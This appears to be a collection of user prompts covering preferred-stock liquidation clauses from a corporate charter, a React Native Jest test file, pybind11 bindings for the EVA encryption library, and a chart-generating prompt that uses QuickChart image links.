Deemed Liquidation Event (the amount\npayable pursuant to this sentence is hereinafter referred to as the “Liquidation Amount”). If upon any\nsuch liquidation, dissolution or winding up of the Corporation or Deemed Liquidation Event, the assets of\nthe Corporation available for distribution to its stockholders shall be insufficient to pay the holders of shares\nof Preferred Stock the full amount to which they shall be entitled under this Subsection 2.1, the holders of\nshares of Preferred Stock shall share ratably in any distribution of the assets available for distribution in\nproportion to the respective amounts which would otherwise be payable in respect of the shares held by\nthem upon such distribution if all amounts payable on or with respect to such shares were paid in full.\n2.2 Payments to Holders of Common Stock. In the event of any voluntary or\ninvoluntary liquidation, dissolution or winding up of the Corporation, after the payment in full of all\nLiquidation Amounts required to be paid to the holders of shares of Preferred Stock, the remaining assets\nof the Corporation available for distribution to its stockholders or, in the case of a Deemed Liquidation\nEvent, the consideration not payable to the holders of shares of Preferred Stock pursuant to Subsection 2.1\nor the remaining Available Proceeds, as the case may be, shall be distributed among the holders of shares\nof Common Stock, pro rata based on the number of shares held by each such holder.\n\n2.3 Deemed Liquidation Events.\n\n2.3.1 Definition. Each of the following events shall be considered a\n“Deemed Liquidation Event” unless (a) at least two (2) of three (3) of following holders of Preferred\nStock: Inovo Fund Cooperatief U.A., ENERN Investments, investiční fond s proměnným základním\nkapitálem, a.s., Lighthouse Seed Fund OR (b) if any of the aforementioned holders ceases to hold at least\nfifty percent (50%) of the Preferred Stock it acquired under that certain Series Seed Preferred Stock\nPurchase Agreement dated on or about June 30, 2021, holders of at least sixty-five (65%) of the outstanding\nPreferred Stock (the “Requisite Holders”) elect otherwise by written notice sent to the Corporation at least\nten days prior to the effective date of any such event:\n\n(a) a liquidation, dissolution, winding up; or\n(b) a merger or consolidation in which\n(i) the Corporation is a constituent party or\n(ii) a subsidiary of the Corporation is a constituent party and\nthe Corporation issues shares of its Capital Stock pursuant\nto such merger or consolidation,\n\nexcept any such merger or consolidation involving the Corporation or a subsidiary in which the shares of\nCapital Stock of the Corporation outstanding immediately prior to such merger or consolidation continue\nto represent, or are converted into or exchanged for shares of Capital Stock that represent, immediately\nfollowing such merger or consolidation, at least a majority, by voting power, of the Capital Stock of (1) the\nsurviving or resulting corporation; or (2) if the surviving or resulting corporation is a wholly owned\nsubsidiary of another corporation immediately following such merger or consolidation, the parent\ncorporation of such surviving or resulting corporation; or\n\n(c) (1) the sale, lease, transfer, exclusive license or other\ndisposition, in a single transaction or series of related transactions, by the Corporation or any subsidiary of\nthe Corporation of all or substantially all the business or assets of the Corporation and its subsidiaries taken\nas a whole, or (2) the sale or disposition (whether by merger, consolidation or otherwise, and whether in a\nsingle transaction or a series of related transactions) of one (1) or more subsidiaries of the Corporation if\nsubstantially all of the assets of the Corporation and its subsidiaries taken as a whole are held by such\nsubsidiary or subsidiaries, except where such sale, lease, transfer, exclusive license or other disposition is\nto a wholly owned subsidiary of the Corporation.\n\n2.3.2 Effecting a Deemed Liquidation Event.\n(a) The Corporation shall not have the power to effect a\nDeemed Liquidation Event referred to in Subsection 2.3.1(b)(i) unless the agreement or plan of merger or\nconsolidation for such transaction (the “Merger Agreement”) provides that the consideration payable to\nthe stockholders of the Corporation in such Deemed Liquidation Event shall be paid to the holders of Capital\nStock of the Corporation in accordance with Subsection 2.1 and 2.2.\n\n(b) In the event of a Deemed Liquidation Event referred to in\nSubsection 2.3.1(b)(ii) or 2.3.1(c), if the Corporation does not effect a dissolution of the Corporation under\nthe General Corporation Law within ninety (90) days after such Deemed Liquidation Event, then (i) the\nCorporation shall send a written notice to each holder of Preferred Stock no later than the ninetieth (90th)\nday after the Deemed Liquidation Event advising such holders of their right (and the requirements to be\nmet to secure such right) pursuant to the terms of the following clause (ii) to require the redemption of such\nshares of Preferred Stock, and (ii) if the Requisite Holders so request in a written instrument delivered to\nthe Corporation not later than one hundred twenty (120) days after such Deemed Liquidation Event, the\nCorporation shall use the consideration received by the Corporation for such Deemed Liquidation Event\n(net of any retained liabilities associated with the assets sold or technology licensed, as determined in good\nfaith by the Board of Directors of the Corporation), together with any other assets of the Corporation\navailable for distribution to its stockholders, all to the extent permitted by Delaware law governing\ndistributions to stockholders (the “Available Proceeds”), on the one hundred fiftieth (150th) day after such\nDeemed Liquidation Event, to redeem all outstanding shares of Preferred Stock at a price per share equal\nto the applicable Liquidation Amount. Notwithstanding the foregoing, in the event of a redemption\npursuant to the preceding sentence, if the Available Proceeds are not sufficient to redeem all outstanding\nshares of Preferred Stock, the Corporation shall redeem a pro rata portion of each holder’s shares of\nPreferred Stock to the fullest extent of such Available Proceeds, based on the respective amounts which\nwould otherwise be payable in respect of the shares to be redeemed if the Available Proceeds were sufficient\nto redeem all such shares, and shall redeem the remaining shares as soon as it may lawfully do so under\nDelaware law governing distributions to stockholders. Prior to the distribution or redemption provided for\nin this Subsection 2.3.2(b), the Corporation shall not expend or dissipate the consideration received for such\nDeemed Liquidation Event, except (i) as contemplated by such Deemed Liquidation Event, (ii) discharge\nexpenses incurred in connection with such Deemed Liquidation Event or (iii) as approved by the Board of\nDirectors including the Preferred Director or in the event three (3) or more Preferred Directors have been\nelected by the holders of Preferred Stock, the approval of two (2) Preferred Directors.\n\n2.3.3 Amount Deemed Paid or Distributed. The amount deemed paid\nor distributed to the holders of Capital Stock of the Corporation upon any such merger, consolidation, sale,\ntransfer, exclusive license, other disposition or redemption shall be the cash or the value of the property,\nrights or securities to be paid or distributed to such holders pursuant to such Deemed Liquidation Event.\nThe value of such property, rights or securities shall be determined in good faith by the Board of Directors\nof the Corporation, including the approval of at least one (1) Preferred Director or in the event three (3) or\nmore Preferred Directors have been elected by the holders of Preferred Stock, the approval of two (2)\nPreferred Directors.' -"This is the Jest test code I have already written for the react component:\nimport React from 'react'\nimport { cleanup, render, RenderOptions } from '@testing-library/react-native'\n\nimport { Provider, ProviderProps } from 'mobx-react'\nimport { NavigationContainer } from '@react-navigation/native'\nimport defaultsDeep from 'lodash/defaultsDeep'\nimport Config from 'react-native-config'\n\nimport NotificationsScreen from 'screens/NotificationsScreen'\nimport \\* as Atlas from '@ausbom/atlas'\nimport \\* as hooks from 'hooks'\n\nconst DEFAULT\\_THEME\\_MANAGER\\_MOCK = {\n isDarkMode: false,\n}\n\nconst DEFAULT\\_STORE\\_MOCK = {\n notifications: {\n hasLocations: true,\n locations: [\n {\n geohash: 'r1r0fs',\n displayName: 'Melbourne, VIC',\n locationName: 'Melbourne',\n state: 'VIC',\n postcode: '3000',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n warningTypes: {\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r1r0fs',\n metadata: {\n responseTimestamp: '2023-02-08T03:20:57Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tsunami\\_warning',\n ],\n },\n subscriptions: {\n isToggledOn: jest.fn(),\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r1r0fs',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n locationName: 'Melbourne',\n state: 'VIC',\n postcode: '3000',\n metadata: {\n responseTimestamp: '2023-02-08T04:22:42Z',\n },\n data: [\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n pending: [],\n toggledOn: [\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n mode: 'update',\n touched: null,\n isDebouncing: false,\n },\n subscribedTime: '2023-02-07T14:56:44Z',\n isNew: false,\n isReady: true,\n },\n ],\n },\n network: {\n isInternetReachable: true,\n isOffline: false,\n isSubscriptionActive: true,\n },\n}\n\nconst DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION = {\n ...DEFAULT\\_STORE\\_MOCK,\n notifications: {\n hasLocations: true,\n locations: [...DEFAULT\\_STORE\\_MOCK.notifications.locations, {\n geohash: 'qd66hr',\n displayName: 'Perth, WA',\n locationName: 'Perth',\n state: 'WA',\n postcode: '6000',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n warningTypes: {\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'qd66hr',\n metadata: {\n responseTimestamp: '2023-02-08T03:22:08Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n },\n subscriptions: {\n isToggledOn: jest.fn(),\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'qd66hr',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n locationName: 'Perth',\n state: 'WA',\n postcode: '6000',\n metadata: {\n responseTimestamp: '2023-02-08T03:24:01Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n pending: [],\n toggledOn: [\n 'fire\\_weather\\_warning',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n mode: 'load',\n touched: null,\n isDebouncing: false,\n },\n subscribedTime: '2023-02-07T14:57:58Z',\n isNew: false,\n isReady: true,\n }]\n }\n}\n\nconst DEFAULT\\_PROPS = {\n navigation: {\n addListener: jest.fn(),\n getParent: () => ({\n getState: () => ({\n routes: [\n {\n params: {\n previousScreen: undefined,\n },\n },\n ],\n }),\n }),\n },\n route: jest.fn(),\n}\n\nlet mockThemeManager = DEFAULT\\_THEME\\_MANAGER\\_MOCK\nlet mockStore = DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION\nlet mockProps = DEFAULT\\_PROPS\n\nconst MockProvider = (props: ProviderProps) => {\n const { children } = props\n return (\n \n\n{children}\n )\n}\nconst renderWithProvider = (\n component: React.ReactElement,\n options?: RenderOptions\n) => render(component, { wrapper: MockProvider, ...options })\ndescribe('NotificationScreen', () => {\n beforeEach(() => {\n mockThemeManager = defaultsDeep({}, DEFAULT\\_THEME\\_MANAGER\\_MOCK)\n mockStore = defaultsDeep({}, DEFAULT\\_STORE\\_MOCK)\n mockProps = defaultsDeep({}, DEFAULT\\_PROPS)\n jest\n .spyOn(Atlas, 'useThemeManager')\n .mockImplementation(() => mockThemeManager as any)\n jest.spyOn(hooks, 'useStores').mockImplementation(() => mockStore as any)\n })\n\n afterEach(() => {\n cleanup()\n jest.restoreAllMocks()\n })\n\n it('renders with one location notifications', () => {\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n const synoticTemplateNotifScreen = queryByTestId('notifications-screen')\n expect(container).toContainElement(synoticTemplateNotifScreen)\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders one location notifications in dark mode', () => {\n mockThemeManager.isDarkMode = true\n const wrapper = renderWithProvider()\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders with no location notification', () => {\n mockStore = {\n ...DEFAULT\\_STORE\\_MOCK,\n notifications: { hasLocations: false, locations: [] },\n }\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n expect(container).toContainElement(queryByTestId('selectLocation'))\n expect(wrapper).toMatchSnapshot()\n })\n})\n\ndescribe('NotificationScreen with FT\\_MULTI\\_NOTIFICATION enabled', () => {\n beforeAll(() => {\n Config.FT\\_MULTI\\_NOTIFICATION = 'true'\n })\n\n afterAll(() => {\n Config.FT\\_MULTI\\_NOTIFICATION = 'false'\n })\n\n beforeEach(() => {\n mockThemeManager = defaultsDeep({}, DEFAULT\\_THEME\\_MANAGER\\_MOCK)\n mockStore = defaultsDeep({}, DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION)\n mockProps = defaultsDeep({}, DEFAULT\\_PROPS)\n jest\n .spyOn(Atlas, 'useThemeManager')\n .mockImplementation(() => mockThemeManager as any)\n jest.spyOn(hooks, 'useStores').mockImplementation(() => mockStore as any)\n })\n\n afterEach(() => {\n cleanup()\n jest.restoreAllMocks()\n })\n\n it('renders with two location notifications', () => {\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n const synoticTemplateNotifScreen = queryByTestId('notifications-screen')\n expect(container).toContainElement(synoticTemplateNotifScreen)\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders dark mode', () => {\n mockThemeManager.isDarkMode = true\n const wrapper = renderWithProvider()\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders with no location notification', () => {\n mockStore = {\n ...DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION,\n notifications: { hasLocations: false, locations: [] },\n }\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n expect(container).toContainElement(queryByTestId('selectLocation'))\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders max of three location notification', () => {\n const thirdLocationNotification = {\n geohash: 'r3gx2f',\n displayName: 'Sydney, NSW',\n locationName: 'Sydney',\n state: 'NSW',\n postcode: '2000',\n token:\n 'eHJM8blNSEDaiUHU6FfCaa:APA91bEGDQIgSN7Rt6UWcDzP4Aj80kru\\_xm90Ud4du7EUyGNDbgDXKUAPB2jZH1qPEjCSpeIRtsR8GMVzl4ai1ZY5Y44Sz\\_883oN8sIbSLfzzph7nv3x4\\_Uu1J9vXn3X9AnUMNB4kIBv',\n warningTypes: {\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r3gx2f',\n metadata: {\n responseTimestamp: '2023-02-19T02:11:10Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n },\n subscriptions: {\n isToggledOn: jest.fn(),\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r3gx2f',\n token:\n 'eHJM8blNSEDaiUHU6FfCaa:APA91bEGDQIgSN7Rt6UWcDzP4Aj80kru\\_xm90Ud4du7EUyGNDbgDXKUAPB2jZH1qPEjCSpeIRtsR8GMVzl4ai1ZY5Y44Sz\\_883oN8sIbSLfzzph7nv3x4\\_Uu1J9vXn3X9AnUMNB4kIBv',\n locationName: 'Sydney',\n state: 'NSW',\n postcode: '2000',\n metadata: {\n responseTimestamp: '2023-02-19T02:11:16Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n pending: [],\n toggledOn: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n mode: 'update',\n touched: null,\n isDebouncing: false,\n },\n subscribedTime: '2023-02-19T02:11:06Z',\n isNew: false,\n isReady: true,\n }\n\n mockStore = {\n ...DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION,\n notifications: { hasLocations: true, locations: [...DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION.notifications.locations, thirdLocationNotification] },\n }\n\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n expect(container).not.toContainElement(queryByTestId('selectLocation'))\n expect(container).not.toContainElement(queryByTestId('add-location-notification'))\n expect(container).toContainElement(queryByTestId('max-location-label'))\n expect(wrapper).toMatchSnapshot()\n })\n})" -'Summary the function of following code:\nconst char\\* const SAVE\\_DOC\\_STRING = R"DELIMITER(Serialize and save an EVA object to a file.\n\nParameters\n----------\npath : str\n Path of the file to save to\n)DELIMITER";\n\n// clang-format off\nPYBIND11\\_MODULE(\\_eva, m) {\n m.doc() = "Python wrapper for EVA";\n m.attr("\\_\\_name\\_\\_") = "eva.\\_eva";\n\n py::enum\\_(m, "Op")\n#define X(op,code) .value(#op, Op::op)\nEVA\\_OPS\n#undef X\n ;\n py::enum\\_(m, "Type")\n#define X(type,code) .value(#type, Type::type)\nEVA\\_TYPES\n#undef X\n ;\n py::class\\_>(m, "Term", "EVA\'s native Term class")\n .def\\_readonly("op", &Term::op, "The operation performed by this term");\n py::class\\_(m, "Program", "EVA\'s native Program class")\n .def(py::init(), py::arg("name"), py::arg("vec\\_size"))\n .def\\_property("name", &Program::getName, &Program::setName, "The name of this program")\n .def\\_property\\_readonly("vec\\_size", &Program::getVecSize, "The number of elements for all vectors in this program")\n .def\\_property\\_readonly("inputs", &Program::getInputs, py::keep\\_alive<0,1>(), "A dictionary from input names to terms")\n .def\\_property\\_readonly("outputs", &Program::getOutputs, py::keep\\_alive<0,1>(), "A dictionary from output names to terms")\n .def("set\\_output\\_ranges", [](const Program& prog, uint32\\_t range) {\n for (auto& entry : prog.getOutputs()) {\n entry.second->set(range);\n }\n }, R"DELIMITER(Affects the ranges of output that the program must accomodate. Sets all\noutputs at once.\n\nThe value given here does not directly translate to a supported range of\nvalues, as this only ensures the ranges that coefficients may take in \nCKKS\'s encoded form. Some patterns of values may result in coefficients\nthat are larger than any of the values themselves. If you see overflow\nincreasing the value given here will help.\n\nParameters\n----------\nrange : int\n The range in bits. Must be positive.)DELIMITER", py::arg("range"))\n .def("set\\_input\\_scales", [](const Program& prog, uint32\\_t scale) {\n for (auto& source : prog.getSources()) {\n source->set(scale);\n }\n }, R"DELIMITER(Sets the scales that inputs will be encoded at. Sets the scales for all\ninputs at once. This value will also be interpreted as the minimum scale\nthat any intermediate value have.\n\nParameters\n----------\nscale : int\n The scale in bits. Must be positive.)DELIMITER", py::arg("scale"))\n .def("to\\_DOT", &Program::toDOT, R"DELIMITER(Produce a graph representation of the program in the DOT format.\n\nReturns\n-------\nstr\n The graph in DOT format)DELIMITER")\n .def("\\_make\\_term", &Program::makeTerm, py::keep\\_alive<0,1>())\n .def("\\_make\\_left\\_rotation", &Program::makeLeftRotation, py::keep\\_alive<0,1>())\n .def("\\_make\\_right\\_rotation", &Program::makeRightRotation, py::keep\\_alive<0,1>())\n .def("\\_make\\_dense\\_constant", &Program::makeDenseConstant, py::keep\\_alive<0,1>())\n .def("\\_make\\_uniform\\_constant", &Program::makeUniformConstant, py::keep\\_alive<0,1>())\n .def("\\_make\\_input", &Program::makeInput, py::keep\\_alive<0,1>())\n .def("\\_make\\_output", &Program::makeOutput, py::keep\\_alive<0,1>());\n\n m.def("evaluate", &evaluate, R"DELIMITER(Evaluate the program without homomorphic encryption\n\nThis function implements the reference semantics of EVA. During your\ndevelopment process you may check that homomorphic evaluation is\ngiving results that match the unencrypted evaluation given by this function.\n\nParameters\n----------\nprogram : Program\n The program to be evaluated\ninputs : dict from strings to lists of numbers\n The inputs for the evaluation\n\nReturns\n-------\ndict from strings to lists of numbers\n The outputs from the evaluation)DELIMITER", py::arg("program"), py::arg("inputs"));\n \n // Serialization\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("load", static\\_cast(&loadFromFile), R"DELIMITER(Load and deserialize a previously serialized EVA object from a file.\n\nParameters\n----------\npath : str\n Path of the file to load from\n\nReturns\n-------\nAn object of the same class as was previously serialized)DELIMITER", py::arg("path"));\n\n // Multi-core\n m.def("set\\_num\\_threads", [](int num\\_threads) {\n#ifdef EVA\\_USE\\_GALOIS\n galois::setActiveThreads(num\\_threads);\n#endif\n }, py::arg("num\\_threads"), R"DELIMITER(Set the number of threads to use for evaluation. EVA must be compiled with multi-core support for this to have an effect.\n\nParameters\n----------\nnum\\_threads : int\n The number of threads to use. Must be positive.)DELIMITER");\n// Hack to expose Galois initialization to Python. Initializing Galois with a static initializer hangs.\n#ifdef EVA\\_USE\\_GALOIS\n py::class\\_(m, "\\_GaloisGuard").def(py::init());\n#else\n py::class\\_(m, "\\_GaloisGuard").def(py::init());\n#endif\n\n // CKKS compiler\n py::module mckks = m.def\\_submodule("\\_ckks", "Python wrapper for EVA CKKS compiler");\n py::class\\_(mckks, "CKKSCompiler")\n .def(py::init(), "Create a compiler with the default config")\n .def(py::init>(), R"DELIMITER(Create a compiler with a custom config\n\nParameters\n----------\nconfig : dict from strings to strings\n The configuration options to override)DELIMITER", py::arg("config"))\n .def("compile", &CKKSCompiler::compile, R"DELIMITER(Compile a program for CKKS\n\nParameters\n----------\nprogram : Program\n The program to compile\n\nReturns\n-------\nProgram\n The compiled program\nCKKSParameters\n The selected encryption parameters\nCKKSSignature\n The signature of the program)DELIMITER", py::arg("program"));\n py::class\\_(mckks, "CKKSParameters", "Abstract encryption parameters for CKKS")\n .def\\_readonly("prime\\_bits", &CKKSParameters::primeBits, "List of number of bits each prime should have")\n .def\\_readonly("rotations", &CKKSParameters::rotations, "List of steps that rotation keys should be generated for")\n .def\\_readonly("poly\\_modulus\\_degree", &CKKSParameters::polyModulusDegree, "The polynomial degree N required");\n py::class\\_(mckks, "CKKSSignature", "The signature of a compiled program used for encoding and decoding")\n .def\\_readonly("vec\\_size", &CKKSSignature::vecSize, "The vector size of the program")\n .def\\_readonly("inputs", &CKKSSignature::inputs, "Dictionary of CKKSEncodingInfo objects for each input");\n py::class\\_(mckks, "CKKSEncodingInfo", "Holds the information required for encoding an input")\n .def\\_readonly("input\\_type", &CKKSEncodingInfo::inputType, "The type of this input. Decides whether input is encoded, also encrypted or neither.")\n .def\\_readonly("scale", &CKKSEncodingInfo::scale, "The scale encoding should happen at")\n .def\\_readonly("level", &CKKSEncodingInfo::level, "The level encoding should happen at");\n\n // SEAL backend\n py::module mseal = m.def\\_submodule("\\_seal", "Python wrapper for EVA SEAL backend");\n mseal.def("generate\\_keys", &generateKeys, R"DELIMITER(Generate keys required for evaluation with SEAL\n\nParameters\n----------\nabstract\\_params : CKKSParameters\n Specification of the encryption parameters from the compiler\n\nReturns\n-------\n\n WARNING: This object holds your generated secret key. Do not share this object\n (or its serialized form) with anyone you do not want having access\n to the values encrypted with the public context.)DELIMITER", py::arg("absract\\_params"));\n py::class\\_(mseal, "SEALValuation", "A valuation for inputs or outputs holding values encrypted with SEAL");\n py::class\\_(mseal, "SEALPublic", "The public part of the SEAL context that is used for encryption and execution.")\n .def("encrypt", &SEALPublic::encrypt, R"DELIMITER(Encrypt inputs for a compiled EVA program\n\nParameters\n----------\ninputs : dict from strings to lists of numbers\n The values to be encrypted\nsignature : CKKSSignature\n The signature of the program the inputs are being encrypted for\n\nReturns\n-------\nSEALValuation\n The encrypted inputs)DELIMITER", py::arg("inputs"), py::arg("signature"))\n .def("execute", &SEALPublic::execute, R"DELIMITER(Execute a compiled EVA program with SEAL\n\nParameters\n----------\nprogram : Program\n The program to be executed\ninputs : SEALValuation\n The encrypted valuation for the inputs of the program\n\nReturns\n-------\nSEALValuation\n The encrypted outputs)DELIMITER", py::arg("program"), py::arg("inputs"));\n py::class\\_(mseal, "SEALSecret", R"DELIMITER(The secret part of the SEAL context that is used for decryption.\n\nWARNING: This object holds your generated secret key. Do not share this object\n (or its serialized form) with anyone you do not want having access\n to the values encrypted with the public context.)DELIMITER")\n .def("decrypt", &SEALSecret::decrypt, R"DELIMITER(Decrypt outputs from a compiled EVA program\n\nParameters\n----------\nenc\\_outputs : SEALValuation\n The values to be decrypted\nsignature : CKKSSignature\n The signature of the program the outputs are being decrypted for\n\nReturns\n-------\ndict from strings to lists of numbers\n The decrypted outputs)DELIMITER", py::arg("enc\\_outputs"), py::arg("signature"));\n}' -'Title: "Graph Generator"\nThe following are types of graphs:\n+(Bar Graph Syntax)=[The following represents a bar graph in javascript displayed in image markdown format:\n![pollinations](https://www.quickchart.io/chart?bkg=white&c=%7B%0A%20%20type%3A%20%27bar%27%2C%0A%20%20data%3A%20%7B%0A%20%20%20%20labels%3A%20%5B%27Q1%27%2C%20%27Q2%27%2C%20%27Q3%27%2C%20%27Q4%27%5D%2C%0A%20%20%20%20datasets%3A%20%5B%7B%0A%20%20%20%20%20%20label%3A%20%27Users%27%2C%0A%20%20%20%20%20%20data%3A%20%5B50%2C%2060%2C%2070%2C%20180%5D%0A%20%20%20%20%7D%2C%20%7B%0A%20%20%20%20%20%20label%3A%20%27Revenue%27%2C%0A%20%20%20%20%20%20data%3A%20%5B100%2C%20200%2C%20300%2C%20400%5D%0A%20%20%20%20%7D%5D%0A%20%20%7D%0A%7D)"\n+(Pie Graph Syntax)=[The following represents a pie graph in javascript displayed in image markdown format:\n![pollinations](https://www.quickchart.io/chart?c=%7B%0A%20%20%22type%22%3A%20%22outlabeledPie%22%2C%0A%20%20%22data%22%3A%20%7B%0A%20%20%20%20%22labels%22%3A%20%5B%22ONE%22%2C%20%22TWO%22%2C%20%22THREE%22%2C%20%22FOUR%22%2C%20%22FIVE%22%5D%2C%0A%20%20%20%20%22datasets%22%3A%20%5B%7B%0A%20%20%20%20%20%20%20%20%22backgroundColor%22%3A%20%5B%22%23FF3784%22%2C%20%22%2336A2EB%22%2C%20%22%234BC0C0%22%2C%20%22%23F77825%22%2C%20%22%239966FF%22%5D%2C%0A%20%20%20%20%20%20%20%20%22data%22%3A%20%5B1%2C%202%2C%203%2C%204%2C%205%5D%0A%20%20%20%20%7D%5D%0A%20%20%7D%2C%0A%20%20%22options%22%3A%20%7B%0A%20%20%20%20%22plugins%22%3A%20%7B%0A%20%20%20%20%20%20%22legend%22%3A%20false%2C%0A%20%20%20%20%20%20%22outlabels%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%22text%22%3A%20%22%25l%20%25p%22%2C%0A%20%20%20%20%20%20%20%20%22color%22%3A%20%22white%22%2C%0A%20%20%20%20%20%20%20%20%22stretch%22%3A%2035%2C%0A%20%20%20%20%20%20%20%20%22font%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%22resizable%22%3A%20true%2C%0A%20%20%20%20%20%20%20%20%20%20%22minSize%22%3A%2012%2C%0A%20%20%20%20%20%20%20%20%20%20%22maxSize%22%3A%2018%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%7D%0A%7D)\n+(Line Graph Syntax)=[The following represents a line graph in javascript displayed in image markdown format:\n![pollinations](https://www.quickchart.io/chart?c=%7B%0A%20%20type%3A%20%27line%27%2C%0A%20%20data%3A%20%7B%0A%20%20%20%20labels%3A%20%5B%27January%27%2C%20%27February%27%2C%20%27March%27%2C%20%27April%27%2C%20%27May%27%2C%20%27June%27%2C%20%27July%27%5D%2C%0A%20%20%20%20datasets%3A%20%5B%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20label%3A%20%27My%20First%20dataset%27%2C%0A%20%20%20%20%20%20%20%20backgroundColor%3A%20%27rgb(255%2C%2099%2C%20132)%27%2C%0A%20%20%20%20%20%20%20%20borderColor%3A%20%27rgb(255%2C%2099%2C%20132)%27%2C%0A%20%20%20%20%20%20%20%20data%3A%20%5B93%2C%20-29%2C%20-17%2C%20-8%2C%2073%2C%2098%2C%2040%5D%2C%0A%20%20%20%20%20%20%20%20fill%3A%20false%2C%0A%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20label%3A%20%27My%20Second%20dataset%27%2C%0A%20%20%20%20%20%20%20%20fill%3A%20false%2C%0A%20%20%20%20%20%20%20%20backgroundColor%3A%20%27rgb(54%2C%20162%2C%20235)%27%2C%0A%20%20%20%20%20%20%20%20borderColor%3A%20%27rgb(54%2C%20162%2C%20235)%27%2C%0A%20%20%20%20%20%20%20%20data%3A%20%5B20%2C%2085%2C%20-79%2C%2093%2C%2027%2C%20-81%2C%20-22%5D%2C%0A%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%5D%2C%0A%20%20%7D%2C%0A%20%20options%3A%20%7B%0A%20%20%20%20title%3A%20%7B%